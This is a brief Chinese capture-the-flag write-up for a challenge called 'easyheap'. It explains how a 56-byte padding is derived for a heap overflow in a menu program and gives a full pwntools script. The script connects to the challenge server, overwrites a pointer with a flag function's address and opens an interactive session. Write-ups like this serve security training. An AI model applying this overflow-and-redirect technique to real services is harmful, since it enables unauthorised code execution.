easyheap:
本题是简单的堆溢出,我们先将文件运行一下,看下程序想要执行的具体功能是什么。
可以看到该程序是一个常见的菜单程序,将程序放入IDA进行反编译。
根据malloc函数和qword_602098+8可以计算出填充字符大小为0x20+0x10+8=56
知道这些之后就可以直接写脚本了
```
from pwn import *
target = remote('202.112.51.217',24598)
#target = process("./easyheap.easyheap")这是本地的
flag = 0x400766
payload = 'A' *56 + p64(flag)
target.recvuntil('name?\n')
target.sendline('1')
target.recvuntil('choice :')
target.sendline('1')
target.recvuntil('Name:\n')
target.sendline('1')
target.recvuntil('choice :')
target.sendline('3')
target.recvuntil('info:\n')
target.sendline(payload)
target.recvuntil('choice :')
target.sendline('2')
target.interactive()
```
网友评论